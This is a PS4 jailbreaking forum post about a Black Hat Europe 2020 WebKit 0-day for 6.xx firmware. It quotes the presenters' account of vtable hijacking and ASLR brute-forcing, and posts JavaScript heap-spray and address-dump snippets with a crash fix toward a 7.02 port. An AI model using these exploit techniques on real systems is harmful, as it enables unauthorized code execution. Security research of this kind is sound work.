Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter PSXHAX       Start date Dec 10, 2020 at 8:30 AM       39      
Status
Not open for further replies.
Following their Initial Announcement and the recent PS4 WebKit 7.00-7.02 Exploit Talos WebSocket Vulnerability Probe, today abu_y0ussef and 0xdagger via Synacktiv shared at Black Hat Europe 2020 a Webkit exploit that gives arbitrary R/W (Read / Write) permission on 6.XX PS4 Firmware for PS4 Scene developers to further examine. :geek:

Download: PS4-webkit-exploit-6.XX-master.zip / GIT / eu-20-Meffre-This-Is-For-The-Pwners-Exploiting-A-Webkit-0day-In-Playstation4.pdf

This comes proceeding the PS4 6.XX JSC_ConcatMemcpy WebKit Exploit PoC, PS4 6.20 WebKit Code Execution Exploit PoC, PS4 Webkit Bad_Hoist Exploit for PlayStation 4 Firmware 6.XX and PS4 Kernel Exploit (KEX) for 7.02 Firmware with developer sleirsgoevy sharing this This Link via Twitter that Jailbroken PS4 5.05 Console owners can visit to aid in collecting statistics for use in porting the BHEU exploit to 7.02 System Software. 🔥

Below is a concluding summary of the This is for the Pwners: Exploiting a WebKit 0-day in PlayStation 4 presentation from Synacktiv.com, to quote:

Code execution

PS4 browser doesn't allow allocating RWX memory pages. But with an arbitrary R/W, we can control RIP register. For example, we can overwrite the vtable pointer of one of our previously sprayed HTMLTextAreaElement making it points to data that we control. Calling a JavaScript method on HTMLTextAreaElement will result in a call to an address under our control. From there, we can do code re-use (like ROP or JOP) to implement the next stage.

The exploit is available at Synacktiv's Github repository.

Porting the exploit on 7.xx firmware

We managed to successfully exploit our bug on 6.xx firmware due to a weakness on ASLR implementation that allowed us to predict the address of HTML objects. The predictable address is hardcoded in the exploit and has been identified thanks to the bad-hoist exploit. However, without a prior knowledge on memory mapping, the only way to determine the address of our sprayed HTMLElement objects is to brute force this address.

Brute forcing on the PS4 is tedious as the browser requires a user interaction in order to restart. Our idea is to plug a Raspberry Pi that acts as a keyboard on the PS4. Its main goal is to hit enter at periodical time (5s) to restart the browser after the crash. The brute forced address is updated at each attempt and stored in a cookie.

Unfortunately, we didn't get any result so far. We probably haven't run the brute force for a long enough period of time to cover the entire address space.


From Pastebin.com:
Code:
// code from the black hat repository

function sprayHTMLTextArea() {
    textarea_div_elem = document.createElement("div");
    document.body.appendChild(textarea_div_elem);
    textarea_div_elem.id = "div1";
    var element = document.createElement("textarea");

    /* Add a style to avoid textarea display */
    element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';

    /*
     * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
     * allocation of the node attributes and an IsoHeap allocation of the
     * Element. The virtual page layout will look something like that:
     * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
     */
    for (let i = 0; i < 0x6000; i++)
        textarea_div_elem.appendChild(element.cloneNode());
}

// end copy-paste

sprayHTMLTextArea();

var pr_buf = '';
function buf_print(s, last)
{
    pr_buf += s + '\n';
}

function dumpAddresses()
{
    for(var i = 0; i < textarea_div_elem.childNodes.length; i++)
    {
        var addr1 = addrof(textarea_div_elem.childNodes[i]);
        var addr2 = read_ptr_at(addr1 + 0x18);
        buf_print(i+" 0x"+(new Number(addr1)).toString(16)+" 0x"+(new Number(addr2)).toString(16), i == textarea_div_elem.childNodes.length - 1);
    }
}

dumpAddresses();

print(pr_buf);
Some valid 7.02 addresses:
  • 0x200eb00d8
  • 0x200f300d8
  • 0x200fb00d8
  • 0x2011100d8
The success rate is about 10% for the last one. Unfortunately the exploit then crashes in the critical section in leakJSC. Will now investigate how to fix it.
Code:
Fix for the crash in leakJSC(): after debug_log("[+] Got a relative read"); insert        var tmp_spray = {};        for(var i = 0; i < 100000; i++)                tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;
This is for the Pwners : Exploiting a WebKit 0-day in PlayStation 4
This is for the Pwners Exploiting a WebKit 0-day in PlayStation 4.png
 

Comments

@ombus fair point. we should do both then. I am just worried that since the scene seems to focus on the 7.02 one that after they get it to work they will ignore the other one.

@bajolzas both webkits are around the corner lol. The 8.01 one obviously works on 7.02 too. You are acting like one works on 7.02 and one doesn't when they both do, only one works on post 7.02 firmwares too and one doesn't.

Either way, as I mentioned, I agree that it is better to work on both of them.
 
@bajolzas if it have reward pool, like 10-50k$ :D hacker will focus on it, if not, RIP

bought mine ps4 pro (7000) for 310$ 6.72 2disc game, 2 controller, as same price, i can get one brand new (1 controller) with based fw 5.50-6.50, 1 week before 6.72 released XD
 
Status
Not open for further replies.
Back
Top